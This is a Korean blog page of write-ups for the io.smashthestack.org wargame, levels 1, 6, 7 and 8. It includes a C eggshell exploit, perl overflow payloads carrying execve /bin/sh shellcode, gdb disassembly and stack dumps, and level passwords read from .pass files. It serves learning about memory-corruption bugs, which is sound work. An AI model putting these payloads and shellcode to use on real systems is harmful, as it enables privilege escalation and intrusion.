Search results for 'io.smashthestack.org'

  1. 2010.01.21 -- level8
  2. 2010.01.19 -- level7
  3. 2010.01.19 -- level6
  4. 2010.01.18 -- level1

level8

2010. 1. 21. 00:52

  level8 바이너리의 소스는 그대로인데 strncat으로 붙이면 buf의 내용이 전과는 다르더군요. 

이전엔 do_the_nasty 함수의 ret를  덮어 씌웠지만 이번에는 main 함수의 ret를 덮어 씌웠습니다.

사용한 exploit. (pass : ynfbxd6t)


#include 
#include 
#include 

#define NOP 0x90
#define TARGET "/levels/level8"

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80";

unsigned long get_esp(void)
{
  __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
  char *cmd1, *cmd2;
  char *ptr, *egg;
  long *addr_ptr, addr;
  int  size1=32, size2=112;
  int i;

  if (!(cmd1 = malloc(size1))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  if (!(cmd2 = malloc(size2))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  
  if (!(egg = malloc(2048))) {
    printf("Can`t allocate memory.\n");
    exit(0);
  }

  addr = get_esp();

  printf("Using address: 0x%x\n", addr);

  ptr = cmd1;

  for (i = 0; i < size1; i++)
    *(ptr++) = '\x90';

  ptr = cmd2;
  *(ptr++) = NOP;
  addr_ptr = (long *) ptr;

  for (i = 0; i < size2; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for(i = 0; i < 2048 - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for(i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  egg[2048 - 1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);

  execl(TARGET,"level8",cmd1,cmd2,NULL);
}

--------------------------------------------------------------------
#include <string.h>

// A little learning is a dangerous thing; drink deep, or taste not the Pierian
// spring: there shallow draughts intoxicate the brain, and drinking largely
// sobers us again - Alexander Pope

void do_the_nasty(char *argv[])
{
    char buf[32];
    strncpy(buf, argv[1], sizeof(buf));
    strncat(buf, argv[2], sizeof(buf)-strlen(buf)-1);
}

int main(int argc, char *argv[])
{
    do_the_nasty(argv);
    return 0;
}


level8의 소스입니다. 딱보니 sizeof 와 strlen 의 차이를 이용한 문제입니다.
버퍼는 차지하지만 길이에는 포함 안되는 NULL(\x90)을 이용하면 BOF 할수 있겠네요.
확인해보겠습니다.


level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x1'`

level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x2'`
Segmentation fault

다행입니다.  흠.. 그러고보니 이렇게 되면 버퍼 사이즈때문에 쉘코드를 올릴 수가 없으니.. 
환경변수를 이용해야겠군요.


우선 디스어셈블된 코드를 확인했습니다.


(gdb) disas do_the_nasty
Dump of assembler code for function do_the_nasty:
0x08048394 <do_the_nasty+0>:    push   %ebp
0x08048395 <do_the_nasty+1>:    mov    %esp,%ebp
0x08048397 <do_the_nasty+3>:    push   %edi
0x08048398 <do_the_nasty+4>:    sub    $0x34,%esp                  52만큼 스택을 확장
0x0804839b <do_the_nasty+7>:    mov    0x8(%ebp),%eax
0x0804839e <do_the_nasty+10>:   add    $0x4,%eax                   
0x080483a1 <do_the_nasty+13>:   mov    (%eax),%eax                  argv[1]의 주소를 eax로
0x080483a3 <do_the_nasty+15>:   movl   $0x20,0x8(%esp)                   32를 esp + 8로
0x080483ab <do_the_nasty+23>:   mov    %eax,0x4(%esp)                   argv[1]의 주소를 esp+4로
0x080483af <do_the_nasty+27>:   lea    0xffffffdc(%ebp),%eax              
0x080483b2 <do_the_nasty+30>:   mov    %eax,(%esp)                   ebp-36을 esp로  
0x080483b5 <do_the_nasty+33>:   call   0x80482c8 <strncpy@plt>      strncpy( ebp-36, argv[1], 32);
......

52만큼 확장된 스택에서 buf 가 위치하는곳은 ebp-36이므로 ret address 를 덮어 씌우기 위해서는 

buf(36) + ebp + ret , 총 44바이트를 덮어 씌워야 할겁니다. eggshell을 변형해서 환경변수에 쉘코드를
올렸습니다.


                
 egg 라는 환경변수로 올려놓고 다음과 같이 입력했습니다만 세그 폴트가 났습니다.

level8@io:/tmp$ ./ppp
Using address: 0xbfffdd18

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Segmentation fault


스택에 들어갈때의 모습이 궁금해서 열어보기로 했습니다.

(gdb) r `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Starting program: /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`

Breakpoint 1, 0x080483fa in do_the_nasty ()

(gdb) info reg
eax            0xbfffd4e4       -1073752860
ecx            0xbfffd512       -1073752814
edx            0x3ffffffc       1073741820
ebx            0x4a4ff4 4870132
esp         0xbfffd4d0     xbfffd4d0
ebp            0xbfffd508       0xbfffd508
esi            0x0      0
edi            0xbfffd508       -1073752824
eip            0x80483fa        0x80483fa <do_the_nasty+102>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

(gdb) x/60x 0xbfffd4d0

0xbfffd4d0:     0xbfffd4e4      0xbfffd6b3      0xfffffffc      0x003da80e
0xbfffd4e0:     0xbfffd4e4      0x90909090   0x90909090   0x90909090
0xbfffd4f0:     0x90909090   0x90909090  0x90909090   0x90909090
0xbfffd500:     0x90909090   0x18bd2cc0   0x18bfffdd      0x18bfffdd
0xbfffd510:     0x00bfffdd      0xbfffd530      0xbfffd578      0x0038bea8
0xbfffd520:     0x00000000      0x00bd2cc0      0xbfffd578      0x0038bea8
0xbfffd530:     0x00000003      0xbfffd5a4      0xbfffd5b4      0x00000000
0xbfffd540:     0x004a4ff4      0x00000000      0x00bd2cc0      0xbfffd578
0xbfffd550:     0xbfffd530      0x0038be6d      0x00000000      0x00000000
0xbfffd560:     0x00000000      0x00bc8090      0x0038bded      0x00bd2ff4
0xbfffd570:     0x00000003      0x080482f0      0x00000000      0x08048311
0xbfffd580:     0x08048400      0x00000003      0xbfffd5a4      0x08048480
0xbfffd590:     0x08048430      0x00bc8c40      0xbfffd59c      0x00bd34e4
0xbfffd5a0:     0x00000003      0xbfffd683      0xbfffd692      0xbfffd6b3
0xbfffd5b0:     0x00000000      0xbfffd6c0      0xbfffd6d0      0xbfffd6db
(gdb)




붉은색으로 표시한 곳에 3바이트가 있네요. strncat으로 붙이면 이 다음 부터 붙게되서 4바이트 형태의 
원하는 주소값이 제대로 안들어 갑니다. 

따라서 NOP를 1바이트 더 줘서 주소값이 제대로 들어가도록 해봤습니다.

sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x90","\x18\xdd\xff\xbf"x3'`

sh-3.1$ id

uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8)
sh-3.1$ cat /home/level9/.pass
apt2tute



'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level7

2010. 1. 19. 06:01


level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe

void check_id(unsigned int id)
{
    if(id > 10) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Not today son\n");
    }
}

int main(int argc, char *argv[])
{
    int id;
    sscanf(argv[1], "%d", &id);
                if(id > 10) {
                        printf("Erm....no\n");
                        exit(-1);
                }
    check_id(id);

    return 0;
}

check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니


level7@io:/levels$ ./level7 -1

sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)

sh-3.1$ cat /home/level8/.pass
ca1fiase     > zkq5xlnh

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level6

2010. 1. 19. 05:49


level6 도 소스코드가 있더군요.

level6@io:/levels$ cat level6.c

#include<string.h>

// The devil is in the details - nnp

void copy_buffers(char *argv[])
{
    char buf1[32], buf2[32], buf3[32];                    

    strncpy(buf2, argv[1], 31);                             argv[1]은 buf2로 31만큼 복사
    strncpy(buf3, argv[2], sizeof(buf3));                argv[2]는 buf3로 32만큼 복사
    strcpy(buf1, buf3);                                        buf3를 buf1으로 복사

}

int main(int argc, char *argv[])
{
    copy_buffers(argv);
    return 0;
}




buf1, buf2, buf3는 메모리상에 연속된 공간입니다. 버퍼의 마지막을 구분하는건 NULL 값인데
argv[2]의 값을 buf3로 복사할때
32개의 값을 주게되면 buf2와 buf3는 연속된 공간으로 인식 될 것입니다.
따라서 strcpy 구문을 이용해 BOF를 발생시킬 수 있습니다.


라고 가정하였습니다; 확인해봅시다.


level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x31'`

level6@io:/levels$ ./level6 `perl -e 'print "A"x31," ","\x90"x32'`
Segmentation fault

네. 다행입니다; 이제 스택을 확인 한 후 쉘코드를 올려보겠습니다.

우선 copy_buffers 함수



gdb) disas copy_buffers
Dump of assembler code for function copy_buffers:
0x08048394 <copy_buffers+0>:    push   %ebp
0x08048395 <copy_buffers+1>:    mov    %esp,%ebp
0x08048397 <copy_buffers+3>:    sub    $0x78,%esp                      stack을 120만큼 확장
0x0804839a <copy_buffers+6>:    mov    0x8(%ebp),%eax                argv[0]을 eax로
0x0804839d <copy_buffers+9>:    add    $0x4,%eax                         eax를 4만큼 증가 -> argv[0+1]
0x080483a0 <copy_buffers+12>:   mov    (%eax),%eax                    eax의 어드레스를 eax로
0x080483a2 <copy_buffers+14>:   movl   $0x1f,0x8(%esp)                31을 esp+8로
0x080483aa <copy_buffers+22>:   mov    %eax,0x4(%esp)               argv[1]을 esp+4로
0x080483ae <copy_buffers+26>:   lea    0xffffffc0(%ebp),%eax           ebp-64 의 주소를 eax로 -> buf2
0x080483b1 <copy_buffers+29>:   mov    %eax,(%esp)                   eax의 주소를 esp로
0x080483b4 <copy_buffers+32>:   call   0x80482b4 <strncpy@plt>
0x080483b9 <copy_buffers+37>:   mov    0x8(%ebp),%eax             
0x080483bc <copy_buffers+40>:   add    $0x8,%eax                      인덱스를 2만큼 증가 -> argv[2]
0x080483bf <copy_buffers+43>:   mov    (%eax),%eax
0x080483c1 <copy_buffers+45>:   movl   $0x20,0x8(%esp)
0x080483c9 <copy_buffers+53>:   mov    %eax,0x4(%esp)
0x080483cd <copy_buffers+57>:   lea    0xffffffa0(%ebp),%eax        ebp-96의 주소를 eax로  -> buf3
0x080483d0 <copy_buffers+60>:   mov    %eax,(%esp)
0x080483d3 <copy_buffers+63>:   call   0x80482b4 <strncpy@plt>
0x080483d8 <copy_buffers+68>:   lea    0xffffffa0(%ebp),%eax       
0x080483db <copy_buffers+71>:   mov    %eax,0x4(%esp)             ebp-96을 esp+4 로
0x080483df <copy_buffers+75>:   lea    0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp)                  ebp-32를 esp로         ->buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>:   leave
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

       


argv
ret address
ebp
buf1    ---- ebp-32
buf2    ---- ebp-64
buf3    ---- ebp-96

스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)

buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]

         
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)

"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";


NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>:   leave 에breakpoint를 걸었습니다.

(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`

Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp            0xbfffdc80       0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80:     0xbfffdcd8      0xbfffdc98      0x00000020      0x00000000
0xbfffdc90:     0x00000000      0x00000000      0x90909090      0x90909090
0xbfffdca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcb0:     0x90909090      0x90909090      0x4141
4141      0x41414141
0xbfffdcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdcd0:     0x41414141      0x00414141      0x90909090      0x90909090
0xbfffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcf0:     0x90909090      0x90909090       0x41414141      0x41414141
0xbfffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdd10:     0x41414141      0x00414141      0xbfffdd68       0x00d52ea8
0xbfffdd20:     0x00000003      0xbfffdd94       0xbfffdda4       0x00000000
0xbfffdd30:     0x00e6bff4      0x00000000       0x00ed9cc0      0xbfffdd68
0xbfffdd40:     0xbfffdd20       0x00d52e6d     0x00000000      0x00000000
0xbfffdd50:     0x00000000      0x00ecf090      0x00d52ded      0x00ed9ff4
...



buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address0xbfffdcbc 입니다.

최종 공격코드 입니다.


"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 

level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 /levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`

sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)

sh-3.1$ cat /home/level7/.pass
arg4sans---->  qpapbi2w

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org

level1

2010. 1. 18. 15:11

level1@io:~$ cd /levels
level1@io:/levels$ ls
level1     level11.c     level13    level15.c     level16.pass  level18.c  level20  level3.c  level5.c  level7.c  level9.c
level10    level12       level14    level15.pass  level17       level19    level21  level4    level6    level8
level10.c  level12.c     level14.c  level16       level17.c     level19.c  level22  level4.c  level6.c  level8.c
level11    level12.pass  level15    level16.c     level18       level2     level3   level5    level7    level9


위와같이 levels 디렉토리에 바이너리들이 레벨 별로 있습니다.
level1을 실행해보았습니다.

level1@io:/levels$ ./level1
Usage: ./level1 <password>

evel1@io:/levels$ gdb ./level1
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x080483f4 <main+0>:    lea    0x4(%esp),%ecx
0x080483f8 <main+4>:    and    $0xfffffff0,%esp
0x080483fb <main+7>:    pushl  0xfffffffc(%ecx)
0x080483fe <main+10>:   push   %ebp
0x080483ff <main+11>:   mov    %esp,%ebp
0x08048401 <main+13>:   push   %edi
0x08048402 <main+14>:   push   %ecx
0x08048403 <main+15>:   sub    $0x30,%esp
0x08048406 <main+18>:   mov    %ecx,0xffffffe0(%ebp)
0x08048409 <main+21>:   movl   $0x80485c8,0xfffffff4(%ebp)     
 
0x08048410 <main+28>:   mov    0xffffffe0(%ebp),%eax       
0x08048413 <main+31>:   cmpl   $0x2,(%eax)                      이부분은 if(argc<2) { printf("Usage: %s <password>\n");}
0x08048416 <main+34>:   je     0x8048439 <main+69>             argc가 2면 <main+69>로 점프
0x08048418 <main+36>:   mov    0xffffffe0(%ebp),%edx
0x0804841b <main+39>:   mov    0x4(%edx),%eax
0x0804841e <main+42>:   mov    (%eax),%eax
0x08048420 <main+44>:   mov    %eax,0x4(%esp)
0x08048424 <main+48>:   movl   $0x80485d4,(%esp)
0x0804842b <main+55>:   call   0x804832c <
printf@plt>
0x08048430 <main+60>:   movl   $0x1,0xffffffe4(%ebp)
0x08048437 <main+67>:   jmp    0x80484b2 <main+190>
0x08048439 <main+69>:   mov    0xfffffff4(%ebp),%eax
0x0804843c <main+72>:   mov    $0xffffffff,%ecx
0x08048441 <main+77>:   mov    %eax,0xffffffdc(%ebp)
0x08048444 <main+80>:   mov    $0x0,%al
0x08048446 <main+82>:   cld   
0x08048447 <main+83>:   mov    0xffffffdc(%ebp),%edi
0x0804844a <main+86>:   repnz scas %es:(%edi),%al
0x0804844c <main+88>:   mov    %ecx,%eax
0x0804844e <main+90>:   not    %eax
0x08048450 <main+92>:   lea    0xffffffff(%eax), edx              
0x08048453 <main+95>:   mov    0xffffffe0(%ebp),%ecx
0x08048456 <main+98>:   mov    0x4(%ecx),%eax
0x08048459 <main+101>:  add    $0x4,%eax
0x0804845c <main+104>:  mov    (%eax),%ecx
0x0804845e <main+106>:  mov    %edx,0x8(%esp)               .
0x08048462 <main+110>:  mov    0xfffffff4(%ebp),%eax
0x08048465 <main+113>:  mov    %eax,0x4(%esp)
0x08048469 <main+117>:  mov    %ecx,(%esp)

0x0804846c <main+120>:  call   0x804830c <strncmp@plt>      strncmp 함수의 인자 edx, eax, ecx
0x08048471 <main+125>:  test   %eax,%eax
0x08048473 <main+127>:  jne    0x804849f <main+171>
0x08048475 <main+129>:  movl   $0x80485ea,(%esp)
0x0804847c <main+136>:  call   0x80482fc <puts@plt>
0x08048481 <main+141>:  movl   $0x0,0x8(%esp)
0x08048489 <main+149>:  movl   $0x80485ef,0x4(%esp)
0x08048491 <main+157>:  movl   $0x80485f2,(%esp)
0x08048498 <main+164>:  call   0x80482ec <execl@plt>
0x0804849d <main+169>:  jmp    0x80484ab <main+183>
0x0804849f <main+171>:  movl   $0x80485fa,(%esp)
0x080484a6 <main+178>:  call   0x80482fc <puts@plt>
0x080484ab <main+183>:  movl   $0x0,0xffffffe4(%ebp)
0x080484b2 <main+190>:  mov    0xffffffe4(%ebp),%eax
0x080484b5 <main+193>:  add    $0x30,%esp
0x080484b8 <main+196>:  pop    %ecx
0x080484b9 <main+197>:  pop    %edi
0x080484ba <main+198>:  pop    %ebp
0x080484bb <main+199>:  lea    0xfffffffc(%ecx),%esp
0x080484be <main+202>:  ret   
0x080484bf <main+203>:  nop   
End of assembler dump.



strncmp 함수가 호출되기 전에 브레이크 포인트를 설정한 후 프로그램에 인자를 줘서 실행합니다

(gdb) break *main+117
Breakpoint 1 at 0x8048469
(gdb) r AAAAA
Starting program: /levels/level1 AAAAA

Breakpoint 1, 0x08048469 in main ()


(gdb) info reg
eax            0x80485c8        134514120
ecx            0xbfffde8a       -1073750390
edx            0xb      11

ebx            0xec9ff4 15507444
esp            0xbfffdcd0       0xbfffdcd0
ebp            0xbfffdd08       0xbfffdd08
esi            0x0      0
edi            0x80485d4        134514132
eip            0x8048469        0x8048469 <main+117>
eflags         0x200282 [ SF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51



위의 내용을 따라 함수 호출을 유추해서 주소의 문자열을 찍어보았습니다.

strncmp(0xbfffde8a, 0x80485c8, 11);

(gdb) x/s 0xbfffde8a
0xbfffde8a:      "AAAAA"
(gdb) x/s 0x80485c8
0x80485c8 <_IO_stdin_used+4>:    "omgpassword"


패스워드를 입력 후 홈 디렉토리로 가서 ,pass 파일의 내용을 확인 :$

level1@io:/levels$ ./level1 omgpassword
Win.
sh-3.1$ id
uid=1001(level1) gid=1001(level1) euid=1002(level2) groups=1001(level1)

sh-3.1$ cd /home/level2
sh-3.1$ cat .pass
ef4artie    >  ep4kbyqe----> WE5aVWRwYPhX

다시 풀어볼까 해서 끄적대는데.. 패스워드가 다 바뀌어 있네요.

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level6  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level10  (1) 2009.05.04

badcob War game/io.smashthestack.org